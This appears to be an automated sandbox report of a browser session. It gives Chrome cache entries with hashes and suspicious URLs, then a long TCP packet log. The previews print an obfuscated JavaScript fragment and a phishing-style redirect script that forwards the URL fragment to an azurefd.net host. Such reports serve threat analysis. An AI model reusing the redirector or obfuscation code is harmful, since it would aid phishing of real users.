R5RPU4TJnYpDAGzbqzblTnxPyIbfCb1dFWhOlpEPTsScrS6FbkJJBQzBaIv9eMXnrPMk65olNXpiDgoARBhkrvtg3ZBUfyqKTSGNrDfCzXX3fUfnNbgOm0Y253iimkLyxp7Cye47LsspCVrZ4IqNMaIBkvwUWjSLSqJ3pY34ZRTCmWhLatlHZSVhy3ZCNXMuHQf5fVVuB1GBuixkTUFXe8SsjzaXR43XxBgWhN3kpZMJQZgsfKl55vI4Iy6ZFKbDpftS5c7RcSnREsIo7O3AOY9MXG2O0yumk35sO74r4t3reAgfY3dr4Li2eLYJ57dcrcXeUWPQiVr2EXwYyuXyb2wDZ6hN9QYqorgWSrrwWpMR1ttI4QplOLEsO4Gyp357vstmYEVQ9PzphxXuKJCLr4B5dAboAVYGSuI89JYOAPcc69XkaFcl7eM0PqO1NCg0nBXlIRi7ORVAwCIkPmWyQFgZXI8TdN96Ocpekebr5cFoZZlxWjjn
Preview:	<script language=javascript>var _0x3dd84b=_0xdcef;function _0x4320(){var _0x37f32d=['\x74\x61\x62\x6c\x65','\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x20\x29','\x70\x72\x6f\x74\x6f\x74\x79\x70\x65','\x33\x34\x34\x39\x34\x34\x50\x4c\x77\x6c\x48\x69','\x74\x65\x73\x74','\x73\x74\x72\x69\x6e\x67','\x64\x65\x62\x75','\x63\x68\x61\x69\x6e','\x33\x37\x37\x35\x35\x31\x7a\x43\x69\x6b\x72\x50','\x28\x28\x28\x2e\x2b\x29\x2b\x29\x2b\x29\x2b\x24','\x31\x33\x30\x39\x30\x34\x34\x30\x7a\x53\x6d\x57\x4f\x4b','\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72','\x63\x61\x6c\x6c','\x69\x6e\x69\x74','\x5c\x2b\x5c\x2b\x20\x2a\x28\x3f\x3a\x5b\x61\x2d\x7a\x41\x2d\x5a\x5f\x24\x5d\x5b\x30\x2d\x39\x61\x2d\x7a\x41\x2d\x5a\x5f\x24\x5d\x2a\x29','\x6c\x65\x6e\x67\x74\x68','\x25\x33\x43\x25\x32\x31\x44\x4f\x43\x54\x59\x50\x45\x25\x32\x30\x68\x74\x6d\x6c\x25\x33\x45\x25\x30\x41\x25\x33\x43\x68\x74\x6d\x6c\x25\x32\x30\x6c\x61\x6e\x67\x25\x33\x4

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	392442
Entropy (8bit):	5.047706968081543
Encrypted:	false
SSDEEP:	6144:CFbhdmv+4BQs2Jz5aDyQb4SXqyJ39WQk8:CFbmvT39WQk8
MD5:	8A12623BDED1B84480D26F5D0751C2FB
SHA1:	39E1A7F199C929A89894E8252FEE7BA145BC5918
SHA-256:	66217C2A943648D2112EBD44053D076FCDBB1B06414118D5DEC3B50208B6FC16
SHA-512:	BE6183F53323400DBAF7338D188ECBD9D02B403B687AA37763372E16704FA2223F1C6E5088F610F930963822D1025F7678F93729C5D9DB84F6D7FFAADF9D9EA5
Malicious:	false
Reputation:	low
URL:	https://pattemsyw.com/sendgrid/26.4f50d9a5c773f22e4e53.css
Preview:	html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1026
Entropy (8bit):	4.905839490649477
Encrypted:	false
SSDEEP:	24:hPYUeeK+C6uSf7p9N+ZngP+dadCd/W5cMCX:tYM1CTip9N+Ng28cWxCX
MD5:	E90F6341008E087220C562A6C21CBEE9
SHA1:	B06D5BFB7E091E378F22BCFC1DB432BD25BB49F8
SHA-256:	87E718D0BA2498FACADC08784366B4F224F0DF42EAC8F8B13E0D2DA759B56C20
SHA-512:	1283121192F2E6F510E158FF4C406409C83C4E0E6A291730293115276A138755F22A0951E882073275F659602BA22057B01694DE653A465D8293865F95A9A439
Malicious:	false
Reputation:	low
URL:	https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <script>.. function generateRandomString(length) {.. const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';.. let result = '';.. for (let i = 0; i < length; i++) {.. result += characters.charAt(Math.floor(Math.random() * characters.length));.. }.. return result;.. }.... const destination = 'https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/';.. const randomString = generateRandomString(10000);.. .. // Get the hash value from the URL.. const hashValue = window.location.hash ? window.location.hash.substring(1) : ''; // Remove the '#' character.. .. // Redirect to the destination URL with the random string and hash value.. window.location.href = destination + randomString + (hashValue ? '#' + hashValue : ''); // Instant redirect.. </s

Total Packets: 364
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2025 11:32:19.090909004 CEST	49671	443	192.168.2.4	204.79.197.203
Apr 21, 2025 11:32:19.551146030 CEST	49671	443	192.168.2.4	204.79.197.203
Apr 21, 2025 11:32:20.183165073 CEST	49671	443	192.168.2.4	204.79.197.203
Apr 21, 2025 11:32:21.386737108 CEST	49671	443	192.168.2.4	204.79.197.203
Apr 21, 2025 11:32:23.671497107 CEST	49724	443	192.168.2.4	192.178.49.164
Apr 21, 2025 11:32:23.671526909 CEST	443	49724	192.178.49.164	192.168.2.4
Apr 21, 2025 11:32:23.671662092 CEST	49724	443	192.168.2.4	192.178.49.164
Apr 21, 2025 11:32:23.672009945 CEST	49724	443	192.168.2.4	192.178.49.164
Apr 21, 2025 11:32:23.672024012 CEST	443	49724	192.178.49.164	192.168.2.4
Apr 21, 2025 11:32:23.794698000 CEST	49671	443	192.168.2.4	204.79.197.203
Apr 21, 2025 11:32:24.064640045 CEST	443	49724	192.178.49.164	192.168.2.4
Apr 21, 2025 11:32:24.064805031 CEST	49724	443	192.168.2.4	192.178.49.164
Apr 21, 2025 11:32:24.066596985 CEST	49724	443	192.168.2.4	192.178.49.164
Apr 21, 2025 11:32:24.066601992 CEST	443	49724	192.178.49.164	192.168.2.4
Apr 21, 2025 11:32:24.066800117 CEST	443	49724	192.178.49.164	192.168.2.4
Apr 21, 2025 11:32:24.110975981 CEST	49724	443	192.168.2.4	192.178.49.164
Apr 21, 2025 11:32:25.021918058 CEST	49726	443	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:25.021951914 CEST	443	49726	167.89.115.77	192.168.2.4
Apr 21, 2025 11:32:25.022044897 CEST	49726	443	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:25.022202969 CEST	49726	443	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:25.022212982 CEST	443	49726	167.89.115.77	192.168.2.4
Apr 21, 2025 11:32:25.039407969 CEST	49727	80	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:25.039547920 CEST	49728	80	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:25.231317043 CEST	80	49727	167.89.115.77	192.168.2.4
Apr 21, 2025 11:32:25.231331110 CEST	80	49728	167.89.115.77	192.168.2.4
Apr 21, 2025 11:32:25.231400013 CEST	49727	80	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:25.231488943 CEST	49728	80	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:25.609752893 CEST	443	49726	167.89.115.77	192.168.2.4
Apr 21, 2025 11:32:25.609822989 CEST	49726	443	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:25.610924006 CEST	49726	443	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:25.610929966 CEST	443	49726	167.89.115.77	192.168.2.4
Apr 21, 2025 11:32:25.611125946 CEST	443	49726	167.89.115.77	192.168.2.4
Apr 21, 2025 11:32:25.611471891 CEST	49726	443	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:25.656270981 CEST	443	49726	167.89.115.77	192.168.2.4
Apr 21, 2025 11:32:25.803787947 CEST	443	49726	167.89.115.77	192.168.2.4
Apr 21, 2025 11:32:25.803843021 CEST	443	49726	167.89.115.77	192.168.2.4
Apr 21, 2025 11:32:25.804239988 CEST	49726	443	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:25.804258108 CEST	443	49726	167.89.115.77	192.168.2.4
Apr 21, 2025 11:32:25.804275036 CEST	49726	443	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:25.804305077 CEST	49726	443	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:25.948497057 CEST	49729	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:25.948528051 CEST	443	49729	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:25.948589087 CEST	49729	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:25.948771000 CEST	49729	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:25.948786974 CEST	443	49729	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:26.341908932 CEST	443	49729	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:26.341976881 CEST	49729	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:26.343048096 CEST	49729	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:26.343053102 CEST	443	49729	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:26.343261003 CEST	443	49729	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:26.343549967 CEST	49729	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:26.388297081 CEST	443	49729	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:26.802769899 CEST	443	49729	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:26.803103924 CEST	443	49729	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:26.804773092 CEST	49729	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:26.819276094 CEST	49729	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:26.819283009 CEST	443	49729	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:27.039134026 CEST	49732	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:27.039186954 CEST	443	49732	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:27.039267063 CEST	49732	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:27.039429903 CEST	49732	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:27.039447069 CEST	443	49732	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:27.527378082 CEST	443	49732	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:27.527453899 CEST	49732	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:27.532622099 CEST	49732	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:27.532659054 CEST	443	49732	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:27.532844067 CEST	443	49732	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:27.533149958 CEST	49732	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:27.580282927 CEST	443	49732	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:27.732435942 CEST	49678	443	192.168.2.4	20.189.173.27
Apr 21, 2025 11:32:27.809459925 CEST	49732	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:27.809545994 CEST	443	49732	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:27.809640884 CEST	49732	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:27.812108040 CEST	49728	80	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:28.003725052 CEST	80	49728	167.89.115.77	192.168.2.4
Apr 21, 2025 11:32:28.004209995 CEST	80	49728	167.89.115.77	192.168.2.4
Apr 21, 2025 11:32:28.006513119 CEST	49733	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:28.006542921 CEST	443	49733	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:28.006645918 CEST	49733	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:28.006788015 CEST	49733	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:28.006802082 CEST	443	49733	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:28.045300007 CEST	49728	80	192.168.2.4	167.89.115.77
Apr 21, 2025 11:32:28.045613050 CEST	49678	443	192.168.2.4	20.189.173.27
Apr 21, 2025 11:32:28.393980980 CEST	443	49733	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:28.394229889 CEST	49733	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:28.394260883 CEST	443	49733	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:28.394435883 CEST	49733	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:28.394442081 CEST	443	49733	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:28.597138882 CEST	49671	443	192.168.2.4	204.79.197.203
Apr 21, 2025 11:32:28.654347897 CEST	49678	443	192.168.2.4	20.189.173.27
Apr 21, 2025 11:32:28.853761911 CEST	443	49733	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:28.853811026 CEST	443	49733	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:28.853984118 CEST	49733	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:28.854372978 CEST	49733	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:28.854386091 CEST	443	49733	142.250.68.226	192.168.2.4
Apr 21, 2025 11:32:28.854403019 CEST	49733	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:28.854434967 CEST	49733	443	192.168.2.4	142.250.68.226
Apr 21, 2025 11:32:28.859661102 CEST	49734	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:28.859711885 CEST	443	49734	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:28.859865904 CEST	49734	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:28.860188961 CEST	49734	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:28.860213041 CEST	443	49734	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:29.291416883 CEST	443	49734	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:29.291493893 CEST	49734	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:29.292073011 CEST	49734	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:29.292084932 CEST	443	49734	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:29.292292118 CEST	443	49734	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:29.292574883 CEST	49734	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:29.336270094 CEST	443	49734	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:29.844871044 CEST	443	49734	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:29.847060919 CEST	443	49734	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:29.850193977 CEST	49734	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:29.855628967 CEST	49678	443	192.168.2.4	20.189.173.27
Apr 21, 2025 11:32:29.933554888 CEST	49734	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:29.933579922 CEST	443	49734	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:29.975795031 CEST	49735	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:29.975866079 CEST	443	49735	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:29.975944042 CEST	49735	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:29.976469994 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:29.976500034 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:29.976614952 CEST	49735	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:29.976634026 CEST	443	49735	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:29.976649046 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:29.977078915 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:29.977089882 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:30.411791086 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:30.412076950 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:30.412106991 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:30.412311077 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:30.412327051 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:30.460311890 CEST	443	49735	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:30.460553885 CEST	49735	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:30.460581064 CEST	443	49735	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:30.558429003 CEST	49681	80	192.168.2.4	2.17.190.73
Apr 21, 2025 11:32:30.873018980 CEST	49681	80	192.168.2.4	2.17.190.73
Apr 21, 2025 11:32:31.063369036 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.063394070 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.063406944 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.063497066 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.063522100 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.063563108 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.063582897 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.108412027 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.108429909 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.108495951 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.108504057 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.108550072 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.212527037 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.212549925 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.212606907 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.212641954 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.212661028 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.212691069 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.238090992 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.238115072 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.238179922 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.238194942 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.238399982 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.262988091 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.263012886 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.263065100 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.263072968 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.263185978 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.345400095 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.345423937 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.345478058 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.345500946 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.345518112 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.345566034 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.371507883 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.371529102 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.371613026 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.371622086 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.374958992 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.404611111 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.404630899 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.404686928 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.404696941 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.404774904 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.431724072 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.431740999 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.431847095 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.431854010 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.432074070 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.437146902 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.480811119 CEST	49681	80	192.168.2.4	2.17.190.73
Apr 21, 2025 11:32:31.493208885 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.493369102 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.493417978 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.493458033 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.493465900 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.493509054 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.526257038 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.526283026 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.526362896 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.526371956 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.526421070 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.559586048 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.559628963 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.559700012 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.559708118 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.559753895 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.570820093 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.570893049 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:31.570923090 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.570960045 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.628357887 CEST	49736	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:31.628390074 CEST	443	49736	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:32.254822969 CEST	49678	443	192.168.2.4	20.189.173.27
Apr 21, 2025 11:32:32.687566996 CEST	49681	80	192.168.2.4	2.17.190.73
Apr 21, 2025 11:32:33.870814085 CEST	49740	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:33.870863914 CEST	443	49740	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:33.870924950 CEST	49740	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:33.871448040 CEST	49741	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:33.871474981 CEST	443	49741	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:33.871545076 CEST	49741	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:33.871814966 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:33.871855974 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:33.871911049 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:33.872181892 CEST	49743	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:33.872214079 CEST	443	49743	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:33.872271061 CEST	49743	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:33.872426987 CEST	49743	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:33.872438908 CEST	443	49743	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:33.872658968 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:33.872674942 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:33.872817993 CEST	49741	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:33.872833014 CEST	443	49741	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:33.873009920 CEST	49740	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:33.873027086 CEST	443	49740	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:33.904349089 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:33.904366016 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:33.904506922 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:33.904740095 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:33.904747963 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.086448908 CEST	443	49724	192.178.49.164	192.168.2.4
Apr 21, 2025 11:32:34.086503029 CEST	443	49724	192.178.49.164	192.168.2.4
Apr 21, 2025 11:32:34.086658955 CEST	49724	443	192.168.2.4	192.178.49.164
Apr 21, 2025 11:32:34.164206028 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.164350986 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.164653063 CEST	443	49743	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.164681911 CEST	443	49741	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.164726973 CEST	49743	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.164751053 CEST	49741	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.164803028 CEST	443	49740	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.164863110 CEST	49740	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.245699883 CEST	49740	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.245727062 CEST	443	49740	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.245954990 CEST	443	49740	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.253662109 CEST	49741	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.253688097 CEST	443	49741	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.253931999 CEST	443	49741	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.260840893 CEST	49743	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.260880947 CEST	443	49743	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.261073112 CEST	49740	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.261148930 CEST	443	49743	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.262665987 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.262697935 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.262952089 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.263009071 CEST	49741	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.263269901 CEST	49743	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.263555050 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.268079042 CEST	49724	443	192.168.2.4	192.178.49.164
Apr 21, 2025 11:32:34.268110037 CEST	443	49724	192.178.49.164	192.168.2.4
Apr 21, 2025 11:32:34.285648108 CEST	443	49744	151.101.194.137	192.168.2.4
